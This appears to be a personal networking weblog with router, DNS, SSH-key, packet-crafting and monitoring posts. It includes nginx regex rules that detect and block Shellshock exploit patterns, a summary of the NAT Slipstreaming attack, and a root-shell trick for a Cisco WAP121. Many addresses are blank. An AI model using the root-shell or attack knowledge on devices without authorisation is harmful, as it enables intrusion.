Creative Commons License

Unless otherwise expressly stated, all original material of whatever nature created by and included in this weblog is licensed under a Creative Commons License.


Top 21 Security Experts to follow on Twitter in 2021

From the article on Security Boulevard.

  1. Rafay Baloch
  2. Troy Hunt
  3. Kevin Mitnick
  4. Rachel Tobac
  5. Mikko Hyppönen
  6. Katie Moussouris
  7. Bruce Schneier
  8. Brian Krebs
  9. Jeremiah Grossman
  10. Eugene Kaspersky
  11. Dan Lohemann
  12. Steve Morgan
  13. Tyler Cohen Wood
  14. Graham Cluley
  15. Theresa Payton
  16. Shira Rubinoff
  17. Eva Galperin
  18. Marcus J. Carey
  19. Jayson E Street
  20. Paul Asadoorian
  21. Adam K. Levin

06:58 | Networking | Permalink


Embracing the future with SolNet

This was the initial state of my new SolNet fibre connection:

SolNet connection with native IPv6 but no IPv4

As I am a proponent of IPv6 this made me very happy, but unfortunately about 20% of my daily websites only offer legacy Internet (which later on I got working as well).

10:01 | Networking | Permalink


Using your own router on a Sunrise fiber line

Sunrise does not like when people run their own router on a fiber line. While they do not directly forbid it, they don't provide any of the required configuration parameters which makes it quite hard to use your own router.

Below you'll find the required configuration parameters to make your own router connect with IPv4 and IPv6 on a Sunrise fiber line.
Beware though that especially the VLAN configuration might be different depending on your city, the following worked for me in Zürich.

Also, please note that I do not recommend Sunrise as Internet provider (as a matter of fact I'm on the way out of their contract and switching to SolNet).
Besides not supporting to bring your own router, they also like to make up additional early-termination fees (the contract states 100CHF early termination fees, but once you call them to initiate the process they tell you that it's gonna cost 300CHF as they decided to change their pricing structure unilaterally).

Enough of the ranting, now to the interesting part :-)

The Sunrise line has multiple VLANs to differentiate between Internet, Phone and TV services.
To receive an IPv4 address it requires a special value for the Client Identifier DHCP option.
For IPv6 6rd is employed, for which we need to know the prefix and gateway address.

The following configuration was tested with a MikroTik CRS125 router starting from the default settings.
For simplicity I've named the network interfaces according to their intended usage (eg. LAN, sunrise and 6rd).

The first step is to configure the VLAN on top of your fiber interface. In my case it was VLAN ID 131, others were also successful with VLAN ID 10.

/interface vlan add interface=sfp1-gateway name=sunrise vlan-id=131

Next let's put in place some basic firewall rules to make sure we're not exposing our LAN to the Internet once the connection comes up.

/ip firewall filter
add action=accept chain=forward connection-state=established,related
add action=accept chain=forward in-interface=LAN out-interface=sunrise
add action=drop chain=forward
add action=accept chain=input connection-state=established,related
add action=accept chain=input protocol=icmp
add action=drop chain=input in-interface=!LAN
/ip firewall nat
add action=masquerade chain=srcnat out-interface=sunrise

Now we can configure the special value for the Client Identifier DHCP option and configure the DHCP client on the VLAN interface.

/ip dhcp-client option add code=61 name=clientid-sunrise value="',Fast5360-sunrise'"
/ip dhcp-client add dhcp-options=clientid-sunrise disabled=no interface=sunrise

This should now give us IPv4 Internet connectivity. We can test this by checking that we received an IPv4 address, have an IPv4 default route and that we can ping a host in the Internet.

/ip dhcp-client print
Flags: X - disabled, I - invalid, D - dynamic
 0   sunrise         yes          yes               bound
/ip route check 1.1
     status: ok
  interface: sunrise
/ping count=1 1.1
  SEQ HOST                                     SIZE TTL TIME  STATUS
    0                                    56  59 1ms
    sent=1 received=1 packet-loss=0% min-rtt=1ms avg-rtt=1ms max-rtt=1ms

Sunrise doesn't offer native IPv6 connectivity but employs 6rd (which defines how to create a 6to4 tunnel based on the public IPv4 address, an IPv6 prefix and the tunnel gateway).

Before we setup the 6rd tunnel, it's important to put in place firewall rules for IPv6 as afterwards all devices on the local network will receive a public IPv6 address.

/ipv6 firewall filter
add action=accept chain=forward connection-state=established,related
add action=accept chain=forward in-interface=LAN
add action=drop chain=forward
add action=accept chain=input connection-state=established,related
add action=accept chain=input protocol=icmpv6
add action=drop chain=input

To setup the 6rd tunnel, I've modified an existing script with the specific parameters for Sunrise (namely the 2001:1710::/28 prefix and the tunnel gateway address).
The script creates the tunnel interface, configures an IPv6 address on the external interface, configures an IPv6 address on the internal interface (which also enables SLAAC to provide IPv6 addresses to the clients on the local network) and configures an IPv6 default route over the 6rd tunnel.

The script itself will be run via the scheduler, thus let's save it under the name 6rd-script.

:global ipv6localinterface "LAN"
:global uplinkinterface "sunrise"

:global IPv4addr [/ip address get [find interface=$uplinkinterface] address];
:global IPv4addr [:pick $IPv4addr 0 [:find $IPv4addr "/"]]
:global IPv4addr2 [:pick $IPv4addr 0 30]
:global IPv6temp [:toip6 ("1::" . $IPv4addr2)]

:global IPv4hex1 [:pick $IPv6temp 3 4]
:global IPv4hex2 [:pick $IPv6temp 4 7]
:global IPv4hex3 [:pick $IPv6temp 8 9]
:global IPv4hex4 [:pick $IPv6temp 9 12]
:global IPv6addr [("2001:171" . $IPv4hex1 . ":". $IPv4hex2 .$IPv4hex3 . ":" . $IPv4hex4 . "0::1/64")]
:global IPv6addrLoc [("2001:171" . $IPv4hex1 . ":". $IPv4hex2 . $IPv4hex3 . ":" . $IPv4hex4 . "1::1/64")]

#6to4 interface
:global 6to4id [/interface 6to4 find where name="6rd"]
:if ($6to4id!="") do={
:global 6to4addr [/interface 6to4 get $6to4id local-address]
if ($6to4addr != $IPv4addr) do={ :log warning "Updating local-address for 6to4 tunnel '6rd' from '$6to4addr' to '$IPv4addr'."; /interface 6to4 set [find name="6rd"] local-address=$IPv4addr }
} else { :log warning "Creating 6to4 interface '6rd'. "; /interface 6to4 add !keepalive local-address=$IPv4addr mtu=1480 name="6rd" remote-address= }

#ipv6 for uplink
:global IPv6addrnumber [/ipv6 address find where comment="6rd" and interface="6rd"]
:if ($IPv6addrnumber!="") do={
:global oldip ([/ipv6 address get $IPv6addrnumber address])
if ($oldip != $IPv6addr) do={ :log warning "Updating 6rd IPv6 from '$oldip' to '$IPv6addr'."; /ipv6 address set number=$IPv6addrnumber address=$IPv6addr disabled=no }
} else {:log warning "Setting up 6rd IPv6 '$IPv6addr' to '6rd'. "; /ipv6 address add address=$IPv6addr interface="6rd" comment="6rd" advertise=no }

#ipv6 for local
:global IPv6addrnumberLocal [/ipv6 address find where comment=("6rd_local") and interface=$ipv6localinterface]
:if ($IPv6addrnumberLocal!="") do={
:global oldip ([/ipv6 address get $IPv6addrnumberLocal address])
if ($oldip != $IPv6addrLoc) do={ :log warning "Updating 6rd LOCAL IPv6 from '$oldip' to '$IPv6addrLoc'."; /ipv6 address set number=$IPv6addrnumberLocal address=$IPv6addrLoc disabled=no }
} else {:log warning "Setting up 6rd LOCAL IPv6 '$IPv6addrLoc' na '$ipv6localinterface'. "; /ipv6 address add address=$IPv6addrLoc interface=$ipv6localinterface comment="6rd_local" advertise=yes }

#ipv6 route
:global routa [/ipv6 route find where dst-address="2000::/3" and gateway="6rd"]
if ($routa="") do={ :log warning "Setting IPv6 route '2000::/3' pres '6rd'. "; /ipv6 route add distance=1 dst-address="2000::/3" gateway="6rd" }

Once we've added the script we also need to create the scheduler entry to run it periodically (as it needs to re-configure the tunnel and addresses whenever the public IPv4 address changes).

/system scheduler add interval=1m name=schedule1 on-event=6rd-script

After the first run of the script we should now have IPv6 connectivity. Let's test this again by checking that we have a public IPv6 address, an IPv6 default route and can ping an IPv6 host in the Internet.

/ipv6 address print where interface=6rd and global 
Flags: X - disabled, I - invalid, D - dynamic, G - global, L - link-local 
 #    ADDRESS                                     FROM-POOL INTERFACE        ADVERTISE
 0  G ;;; 6rd
      2001:171c:6336:47b0::1/64                             6rd              no
/ipv6 route check 2600::
     status: ok
  interface: 6rd
    nexthop: 2600::
/ping count=1 2600::
  SEQ HOST                                     SIZE TTL TIME  STATUS
    0 2600::                                     56  50 118ms echo reply
    sent=1 received=1 packet-loss=0% min-rtt=118ms avg-rtt=118ms max-rtt=118ms

And that's how you can configure and validate IPv4 and IPv6 connectivity with your own router on a Sunrise fiber line despite them not liking it very much ;-)

22:26 | Networking | Permalink



Recently I added MTA-STS support to one of my domains, and it turns out that this was easier than expected.

MTA-STS is used to tell mail senders that your server supports TLS. And then you can define the policy for your server and tell them that they should only use TLS (resp. STARTTLS) when connecting to you and not fall back to unencrypted SMTP.

The way this works is with two components:

  • a special _mta-sts.<> TXT DNS entry indicating that your domain supports MTA-STS and the version number of your MTA-STS policy
  • a mta-sts.txt file served under a specific well-known URL https://mta-sts.<>/.well-known/mta-sts.txt containing your MTA-STS policy (which mx hosts it is valid for, should it be run in enforcing or testing mode, max-age etc.)

The idea is that a mail sender checks your MTA-STS policy through protected channels (DNSSEC, HTTPS) and then never sends mails to you in plaintext (similar approach as HSTS for HTTP but this time between mail servers).

To setup the MTA-STS configuration, I followed this Enable MTA-STS in 5 Minutes with NGINX guide from Yoonsik Park.

Then to check my configuration I used this MTA-STS validator (which is an opensource project available on GitHub), the classic //email/testTo: tool (MTA-STS checking needs to be explicitly enabled under 'More Options') and the free testing service provided by Hardenize.

09:47 | Networking | Permalink


NAT Slipstreaming (NAT traversal part 2)

Compared to the previous post where intentional NAT traversal was discussed, here now comes an article about 'unintentional' (malicious) NAT traversal.

Samy Kamar describes in his NAT Slipstreaming article how a combination of TCP packet segmentation and smuggling SIP requests in HTTP, can be used to trick the NAT ALG of your router into opening arbitrary ports for inbound connections from the Internet to your computer.

The article analyses in detail the SIP ALG of the Linux netfilter stack in it's default configuration, but likely similar attacks could also be possible with ALGs of other protocols and vendors.

Important to note: the Linux SIP ALG module has two parameters (sip_direct_media and sip_direct_signalling), which restrict the IP address for which additional ports are opened to the one sending the original SIP packet. By default they are set to 1, but if any of these is set to 0 in a router's configuration, the described NAT Slipstreaming attack will not only allow to make inbound connections to your computer, but also to any other device in the local network!

22:55 | Networking | Permalink


How NAT traversal works

How NAT traversal works – is a very well written and detailed article from Dave Anderson explaining the different NAT scenarios and the tricks that can be used to establish a peer-to-peer UDP connection between machines sitting behind them.

21:08 | Networking | Permalink


ipaddr CLI tool

While doing some maintenance on my server, I got tired of searching through the output of ip addr show to find the IP addresses configured on the interfaces.
Thus I wrote a simple CLI tool to display the information I needed in a concise and human friendly form: ipaddr

$ ipaddr

A nice side-effect of writing this in Go is that it works out-of-the-box also on non-Linux systems :-)

19:38 | Networking | Permalink


ip_compact and ip_diff

Somehow I always end up working with lists of IP networks and needing to minimize and compare them.

Some of my Perl scripts for this might still be hidden in a corporate source repository, and somewhere in the backups of my old Linux laptop should be even earlier attempts in Bash.

Both of them are not very useful to me where they are, thus I've written yet another version.
This time in Go using the ipaddr package.

Say hello to ip_compact and ip_diff :-)

15:18 | Networking | Permalink


Run QRadar CE on Mac OS X with Vagrant

The Vagrant file provided by IBM for running QRadar Community Edition on Mac OS X currently does not work properly. It fails with the following error:

Failure: repodata/repomd.xml from centos-gluster38: [Errno 256] No more mirrors to try. [Errno 14] HTTP Error 404

The problem is that gluster3.8 was moved out of this CentOS repository and now the download fails. But the gluster3.8 RPMs are also provided with the QRadar CE installation ISO file.

Based on the workaround described here, I've extended the IBM provided Vagrantfile so that the RPMs are taken from the ISO file instead of the CentOS repository. With the modified Vagrantfile the automatic provisioning script no longer fails.

The instructions for running QRadar CE with Vagrant now look like this:

  1. Download the zipfile with the original Vagrantfile and the accompanying helper files from the IBM website:
  2. Create a folder and extract the zipfile:
    mkdir community_edition
    unzip -d community_edition/
  3. Download the modified Vagrantfile and overwrite the original one:
    curl -o community_edition/Vagrantfile
  4. Make sure you have the requried Vagrant plugins installed:
    vagrant plugin install vagrant-disksize
    vagrant plugin install vagrant-reload
  5. Make sure you have the QRadar CE ISO file (downloaded from the IBM website) in the same folder as the Vagrantfile:
    cp QRadarCE.iso community_edition/
  6. Create the auto_install file to automatically install QRadar:
    touch community_edition/auto_install
  7. Accept the EULA by adding the corresponding setup parameter in the Vagrantfile:
    Edit the Vagrantfile and add the --accept-eula argument to /media/cdrom/setup --no-screen to automatically accept the EULA
  8. Change into the folder and start the QRadar installation (takes about 1 hour):
    cd community_edition
    vagrant up

13:18 | Networking | Permalink


nflog_sniff extended with C++ implementation

With nflog_sniffer.cpp I've just added a C++ implementation to the nflog_sniff repository.

It uses the lean (and apparently also very fast) libtins library.

11:58 | Networking | Permalink


DNS packet sniffing with NFLOG and Perl/Python

The nflog-bindings from Pierre Chifflier make it trivially easy to write a passive packet sniffer which can be controlled via iptables and listens to traffic on multiple interfaces at the same time.

As a little exercise I have written a simple DNS packet sniffer, once in Perl and once in Python:

To use the sniffer, first create an iptables rule like this: iptables -I INPUT -p udp --sport 53 -j NFLOG --nflog-group 123

Then start one of the sniffer scripts and observe the extracted DNS queries :-)

For a more convenient download I've also put the scripts in a proper Github repository: nflog_sniff

20:10 | Networking | Permalink


Scapy and IP Options

Create packets with custom IPv4 IP Option fields using Scapy:

>>> packet=IP(src="",dst="",options=[IPOption('%s%s'%('\x86\x28','a'*38))])
>>> ls(packet)
version    : BitField             = 4               (4)
ihl        : BitField             = None            (None)
tos        : XByteField           = 0               (0)
len        : ShortField           = None            (None)
id         : ShortField           = 1               (1)
flags      : FlagsField           = 0               (0)
frag       : BitField             = 0               (0)
ttl        : ByteField            = 64              (64)
proto      : ByteEnumField        = 0               (0)
chksum     : XShortField          = None            (None)
src        : Emph                 = ''   (None)
dst        : Emph                 = ''   ('')
options    : PacketListField      = [<IPOption  copy_flag=1L optclass=control option=commercial_security length=40 value='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' |>] ([])
>>> sr1(packet)

The above code results in the following packet (as seen by Wireshark):

Wireshark showing the packet with the custom IP Option

23:56 | Networking | Permalink


Hand-crafted IP packets

Form RFC 791


23:16 | Networking | Permalink




SixSpotting, a funny little game where you collect points by logging in from as many IPv6 enabled providers as possible.

08:43 | Networking | Permalink


Show Shellshock the door

Lately the requests trying to exploit the Shellshock vulnerability are getting annoying. Of course my hosts are patched — even before the first such request arrived — and they are using Dash as /bin/sh anyway.
But this does not stop attackers from sending those requests. Some even seem to have programmed a loop which sends request after request even though their exploit is not working.

Since most of the requests are for valid URLs, the webserver just replies with a 200 status code and serves the content. As this gives no indication to the attacker whether his exploit worked or not, he has no reason to remove the host from his target-list and thus continues to send requests.

To break this pattern and signal that the host is not vulnerable to Shellshock, I came up with the nginx config snippet below. It recognizes Shellshock patterns in a request and replies with a '403 Forbidden' status code, thus indicating to an attacker that his request was blocked.

if ( $http_referer ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $http_user_agent ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $http_cookie ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $http_host ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $args ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $content_type ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $remote_user ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $request ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";
if ( $request_body ~ ^\s*\(\s*\)\s*\{ ) { 
        return 403 "Blocked by Shellshock protection (";

18:45 | Networking | Permalink


How to enable SNMP on a Cisco SLM2008 Smart Switch

The Cisco SMB SLM2008 Smart Switch does normally not support SNMP and there is also no setting in the configuration interface which would enable SNMP.

But nevertheless the firmware does actually contain a SNMP daemon. Thus it is not surprising that a smart guy on to the Cisco support forum found out how to manipulate the proprietary config file such that it enables the SNMP daemon:

  1. Configure your switch with everything you need
  2. Download
  3. Run # perl <IP of your switch>
  4. Enjoy the SNMP export from the SLM2008 :-)

As this is a non-official hack, there are some limitations:

  • The embedded SNMP daemon only supports read accces and no SNMP Traps.
  • Changing a setting on the 'System' configuration tab disables the SNMP daemon again (thus the script will need to be run again).

00:31 | Networking | Permalink


Netflix in Switzerland via IPv6

Since last week Netflix is also available in Switzerland. The future has arrived one could say.
Not only gives this easy access to TV shows and movies but also is this access provided via IPv6.

As you can see on the graph below, this brings IPv6 out of slumber and into primetime :-)
Swiss providers are probably seeing quite an increase in IPv6 traffic this month.

Netflix IPv6 traffic

18:32 | Networking | Permalink


Sipura/Linksys/Cisco SPA901 SPA3102 reboot phone

SPA901 and SPA3102 phones can be rebooted by calling the following URL (which triggers an automatic config resync after the reboot):


10:42 | Networking | Permalink


Sipura/Linksys/Cisco SPA901 SPA3102 download current configuration

The current configuration of an SPA901 phone can be downloaded like this:


For SPA3102 devices the URL is different:


22:16 | Networking | Permalink


Native IPv6

Yesterday I switched our DSL Link to Now we not only have a higher bandwidth (thanks to VDSL) but also native IPv6 connectivity!
Especially nice is that it all works out of the box. After plugging in the pre-configured FritzBox, it automatically gets an IPv6 prefix via Prefix Delegation and announces it to the clients in the LAN.

08:05 [ aj @ actuarius : ~ ] % mtr -rc5
Start: Fri Jul 25 08:06:42 2014
HOST:         Loss%   Snt   Last   Avg  Best  Wrst StDev
  1.|--                  0.0%     5    0.8   0.8   0.7   0.8   0.0
  2.|-- 2a01:2a8::121              0.0%     5    8.6   8.7   8.5   9.2   0.0
  3.|-- 2a01:2a8:0:5a::1           0.0%     5    8.4   8.2   8.0   8.4   0.0
  4.|-- 2a01:2a8:1:7::4            0.0%     5    8.1   8.6   8.1   9.6   0.0
  5.|-- 2a00:db0:9:a06::5          0.0%     5    8.8   8.6   8.3   8.8   0.0
  6.|--                0.0%     5    8.9   8.7   8.6   8.9   0.0

08:08 | Networking | Permalink


It's alive!

Wandtelefon Modell 50 with SIP ATA

Wandtelefon Modell 50 from January 1970 now talks SIP (and it only took two converters, a bit of cable-fiddling and some luck :-)

23:19 | Networking | Permalink


Stop BÜPF!

Stop BÜPF!

19:55 | Networking | Permalink


Load PKCS#8 SSH key files in Mac OS X 10.9

There is currently a bug in Mac OS X 10.9 which causes that ssh-add is no longer able to read SSH key files in PKCS#8 format.

Fortunately ssh-add still reads PKCS#8 keys when provided through STDIN and openssl is able to decrypt PKCS#8 keys.

Thus the following workaround so that PKCS#8 SSH keys can be loaded again:

openssl pkcs8 -in ~/.ssh/id_rsa | ssh-add -

14:36 | Networking | Permalink


Facebook: The Road To IPv6

Great presentation by Paul Saab about the IPv6 introduction at Facebook: The Road To IPv6


15:09 | Networking | Permalink


Verify that an SSL certificate matches the private key

When renewing certificates it is a good idea to verify that the newly installed SSL certificate matches the newly installed private key (eg. to make sure no mixup between the new and old files occurred).
This can be done by comparing the modulus of the two files:

openssl x509 -in <certificatefile> -noout -modulus|sha1sum
openssl rsa -in <privatekeyfile> -noout -modulus|sha1sum

13:32 | Networking | Permalink


Sipura/Linksys/Cisco SPA901 Provisioning and Upgrade

Loading the configuration from http://config.server/configfile.xml (provisioning has to be enabled on the phone):


Upgrading the firmware with the image from http://upgrade.server/firmware.bin:


21:02 | Networking | Permalink


Publish GPG Keys in DNS

Create the PKA DNS record:

# localpart=andreas url=
# LANG=C gpg --fingerprint ${localpart}@${domain}|awk -v local=$localpart -v domain=$domain -v url=$url \
'/fingerprint/{printf("%s._pka.%s. TXT \"v=pka1;fpr=%s;uri=%s\"\n",local,domain,$4$5$6$7$8$9$10$11$12$13,url)}' TXT "v=pka1;fpr=1073501542F38352FC85788207A32EAB1C6AC951;uri="

Test DNS resolution:

# dig +short -t txt

Test with GPG:

# gpg --auto-key-locate pka -ea -r ${localpart}@${domain}

Detailed explanation of the different DNS publication mechanisms for PGP Keys:
Publishing PGP Keys in DNS


13:52 | Networking | Permalink


Improve the security of your SSH private key files with PKCS#8

Instead of the easily brute-forceable one-pass MD5/AES128 password protection format used by SSH per default, you should use the PKCS#8 format to store your private key files. PKCS#8 allows to choose proper key-derivation functions and encryption schemes (for example PBKDF2 and PBES2).
The following commands convert an existing password protected SSH private key file to PKCS#8 format (using PBKDF2, PBES2 and AES-256):

mv ~/.ssh/id_rsa{,.old}
openssl pkcs8 -topk8 -v2 aes256 -in ~/.ssh/id_rsa.old -out ~/.ssh/id_rsa
chmod 600 ~/.ssh/id_rsa
rm ~/.ssh/id_rsa.old

(via Martin Kleppmann)

15:23 | Networking | Permalink


Mandatory requirement for all non IPv6 capable products

IPv4 only


09:37 | Networking | Permalink


Run your own DynDNS server

After receiving yet another 'please login and click through our captcha for no reason' e-mail from a DynDNS provider, I decided to run my own DynDNS server.

As I already run my own DNS servers, this was just a matter of adding a dynamically updateable zone and writing a script which receives the IP change request via HTTP and sends out a DNS update.
Luckily the DynDNS API is quite well documented and I quickly came up with the PHP code below which performs the task well enough for me. Feel free to use it to run your own DynDNS server.

PS: to any friends reading this and looking for a DynDNS service: drop me a message and I'll set you up with an account.

21:11 | Networking | Permalink


Get the glue records for a given domain:

18:37 | Networking | Permalink


Update the serial number in BIND zone files with the current unix timestamp.

08:29 | Networking | Permalink


Orange Routing 2

I did another test of the Orange Routing.
Running a traceroute to my server in Zurich and one to my vhost in Frankfurt.
First another version of the already familier traceroute to my server in Zurich:

HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  1.|--                0.0%     5    8.0   3.7   2.1   8.0   2.5
  2.|--                  0.0%     5  174.8 114.9  56.7 205.6  69.8
  3.|--                 0.0%     5  126.8 108.4  67.7 171.3  42.8
  4.|--            0.0%     5   73.4  82.7  61.9 111.5  20.5
  5.|--            0.0%     5   54.0  64.9  54.0  75.9   9.3
  6.|--            0.0%     5   64.7  69.2  57.3  79.2   8.4
  7.|--                0.0%     5   56.8  65.5  56.8  72.1   7.7
  8.|--               0.0%     5   65.9  87.3  60.1 146.6  35.1
  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     5   84.8 117.1  76.4 162.5  36.9
 10.|--  0.0%     5   88.1 118.0  88.1 168.3  36.7
 11.|--  0.0%     5   76.5  90.5  76.5 109.1  12.0
 12.|-- so-2-3-0.xt2.zur3.alter.n  0.0%     5   76.8 109.1  76.8 203.2  53.1
 13.|--  0.0%     5   88.8  98.7  84.3 143.4  25.2
 14.|-- uch200193-gw.customer.alt  0.0%     5   90.7  85.3  74.1  93.5   8.0
 15.|--            0.0%     5   88.9  97.7  88.9 104.7   6.3
 16.|--              0.0%     5   90.8  94.8  90.8 102.8   4.9
 17.|--           20.0%     5  234.8 130.0  92.8 234.8  69.9

Now the traceroute to the vhost in Frankfurt:

HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  1.|--                0.0%     5   15.2  13.1   1.9  44.5  18.4
  2.|--                 0.0%     5   72.6  74.0  67.2  81.3   6.8
  3.|--                 0.0%     5   80.7  75.0  64.0  89.6  10.3
  4.|--            0.0%     5   65.1  78.9  65.1  94.0  12.3
  5.|--            0.0%     5   73.1  70.4  66.5  73.3   2.8
  6.|--            0.0%     5   69.5  73.9  66.3  86.6   7.7
  7.|--                0.0%     5   67.0  72.7  67.0  80.0   4.9
  8.|--               0.0%     5   70.9  74.4  69.7  86.4   7.0
  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     5   77.2  83.4  75.9  99.4   9.4
 10.|-- pos3-1-0.zurcr1.zurich.op  0.0%     5   83.8 103.2  83.8 146.9  26.3
 11.|-- pos0-9-4-0.ffttr1.frankfu  0.0%     5  102.9 103.6  98.7 108.8   4.9
 12.|--  0.0%     5   87.6  88.8  85.3  93.2   3.0
 13.|-- te3-1.core-2.fra.leaseweb  0.0%     5   85.4  91.5  85.4 106.1   8.5
 14.|--     0.0%     5   90.2  94.1  84.7 112.5  11.0
 15.|-- ???                       100.0     5    0.0   0.0   0.0   0.0   0.0
 16.|--              20.0%     5   89.9 117.5  86.3 205.5  58.7

As you can see, the RTT is higher for the server in Zurich than for the vhost in Frankfurt! (keep in mind that source of these measurement is my laptop in the train 8 minutes away from Zurich now)

So Orange has higher latency to hosts in the same region/city than to hosts in another country which are more than 350km away. :-(
The next time I choose a mobile provider it might be good to analyse its BGP peerings and routing policies first...

13:20 | Networking | Permalink

Orange Routing

While in the train from Bern to Zurich, I did a traceroute towards the server which currently hosts this weblog (it is located at Open Systems in Zurich). The connection starts on my laptop and is thethered via my cell to the Orange backbone.

HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  1.|--                0.0%     5    2.0  12.1   1.7  33.2  14.6
  2.|--                  0.0%     5   52.2 373.4  52.2 1241. 504.8
  3.|--                 0.0%     5   50.9 347.4  50.9 1143. 453.3
  4.|--            0.0%     5   51.2 282.7  51.2 1042. 426.8
  5.|--            0.0%     5   51.2 226.2  44.5 942.2 400.3
  6.|--            0.0%     5   51.4 206.7  37.9 847.5 358.2
  7.|--                0.0%     5   50.0 181.4  29.6 746.9 316.2
  8.|--               0.0%     5   50.0 172.2  36.9 645.6 264.9
  9.|--            0.0%     4   60.2  59.8  46.2  81.9  15.8
 10.|--             0.0%     4   70.0  76.4  64.9 101.6  16.9
 11.|--             0.0%     4   70.4  74.0  69.2  83.8   6.7
 12.|--                0.0%     4   70.6  71.7  58.1  88.1  12.3
 13.|--              0.0%     4   70.5  61.9  51.6  70.9  10.2
 14.|--              0.0%     4   71.3  69.2  58.8  75.4   7.2
 15.|--             0.0%     4   71.5  78.3  62.6 108.9  20.7
 16.|--              0.0%     4   72.2  75.2  70.4  81.9   5.1
 17.|--           25.0%     4   80.8  76.2  61.2  86.5  13.3

You can see that the traffic is passed through 8 different routers inside the Orange backbone (using IPs from all three RFC1918 ranges...) before it is let onto the Internet.
And then the real fun starts (let's use DNS names for this):

HOST: Andreass-MacBook-Pro.local  Loss%   Snt   Last   Avg  Best  Wrst StDev
  1.|--                0.0%     5    2.0  12.2   1.9  33.3  14.5
  2.|--                  0.0%     5   44.2 345.6  27.0 1167. 494.2
  3.|--                 0.0%     5   52.2 308.9  27.0 1104. 462.4
  4.|--            0.0%     5   33.4 264.9  27.2 1014. 427.1
  5.|--            0.0%     5   30.3 227.5  27.3 952.9 406.4
  6.|--            0.0%     5   50.4 200.7  27.0 860.0 368.7
  7.|--                0.0%     5   72.4 193.5  30.5 779.2 327.8
  8.|--               0.0%     5   31.8 166.8  27.6 688.0 291.5
  9.|-- pos0-1-1-1.gencr1.geneve.  0.0%     4   50.8  55.0  47.6  67.1   8.6
 10.|--  0.0%     4   61.0  64.4  57.7  78.5   9.5
 11.|--  0.0%     4   70.8  56.3  48.4  70.8   9.9
 12.|-- so-2-3-0.xt2.zur3.alter.n  0.0%     4  108.9  65.6  48.0 108.9  29.2
 13.|--  0.0%     4   51.7  55.5  50.3  68.8   8.8
 14.|-- uch200193-gw.customer.alt  0.0%     4  171.8  83.6  50.7 171.8  58.8
 15.|--            0.0%     4  132.1  90.0  59.2 132.1  32.7
 16.|--              0.0%     4   72.4  66.8  58.6  73.5   7.3
 17.|--           25.0%     4   80.2  64.7  56.2  80.2  13.4

As we see, Orange injects their mobile data traffic into the Internet in Geneva (pos0-1-1-1.gencr1.geneve.).
Then it is first sent to Paris ( and and from there back to Zurich (so-2-3-0.xt2.yur3.alter.n and all the following hosts).

I can kind of understand that the traffic is routed via Geneva (main Orange infrastructure is there), but why is it sent to Paris? (especially since Geneva<->Zurich is the main Internet connection inside Switzerland where most of the countries fiber is buried).

I guess this explains why my mobile data speed is not always as fast as I like it to be...

12:34 | Networking | Permalink


Administrative Distance

When using more than one dynamic routing protocol, make sure to know their administrative distance.

Further it is usually a bad idea to redistribute routes from a dynamic routing protocol into another one with a lower administrative distance. Especially when having multiple handover points between the two protocols.

08:39 | Networking | Permalink


Verify a BGP MD5 password before session turnup

When setting up a new BGP peering, you may want to test if your peering partner uses the correct MD5 password without bringing up your side of the session.
For this the tcpdump option -M can be used to supply the MD5 password when sniffing the traffic of the new peer:

tcpdump -ni eth0 -M MyBgPMd5PaSsWoRd tcp port 179

tcpdump will then verify the MD5 signature for every packet where it finds a MD5 signature TCP option as specified in RFC2385.
In the output you will see md5valid for packets where your password matches the MD5 signature or md5invalid for packets where your password does not match the MD5 signature.
If you see neither md5valid nor md5invalid then the peer did not configure any MD5 BGP password.

If you want to check for mismatching MD5 passwords after you bring up the BGP session, just look into the kernel log. Linux reports invalid MD5 TCP signatures like this:

MD5 Hash failed for (, 56789)->(, 179)

09:02 | Networking | Permalink


Automatic Proxy Configuration via DHCP

To avoid the timeconsuming manual configuration of a proxy server on all computers, phones and tablets, the proxy configuration can be provided automatically via DHCP by using WPAD.

For this setup, the following components are needed:

  1. A DHCP server which announces DHCP option 252 with the URL of the PAC file (wpad.dat).
  2. A webserver which serves the wpad.dat file
  3. A wpad.dat PAC file where the Proxy IP is defined

On a MikroTik system, the DHCP server configuration looks like this:

/ip dhcp-server option
add code=252 name=local-pac-server value="\?"
/ip dhcp-server network
add address= dhcp-option=local-pac-server dns-server= gateway= netmask=24

Please note the trailing questionmark in the URL for the PAC file. This is a workaround for yet another occurrence of RFC nitpicking where some implementations might misinterpret the DHCP option and add an encoded NULL-byte character to the end of the URL when requesting the PAC file from the webserver.
With the questinmark at the end of the URL, any additional trailing NULL-byte character will be ignored by the webserver and the PAC file will be loaded just fine.

Following the example above, on the machine, we serve the following wpad.dat file:

function FindProxyForURL ( url, host ) {
	return "PROXY; DIRECT";

With this setup, all systems will use the proxy at and if the proxy is not available try to connect directly to the Internet.
While this is fine for a home network where the proxy is mostly used for adblocking, you probably want to remove the DIRECT part in an enterprise setup.

19:39 | Networking | Permalink


Stripe CTF 2.0

Stripe: Capture The Flag

11:23 | Networking | Permalink


How to get a Rootshell on a Cisco WAP121

The Cisco WAP121 runs a Linux based firmware. This is how you get a Rootshell on it:

  1. Login to the Web GUI of the WAP121 and enable the SSH management access
  2. Login with SSH and enter this command: sh

This probably works with the Cisco WAP321 as well (I only tested with the WAP121).
Also when having still only the one 'cisco' user account configured you can directly get a Rootshell via SSH like this: ssh -l root@<WAP121 IP>

20:02 | Networking | Permalink

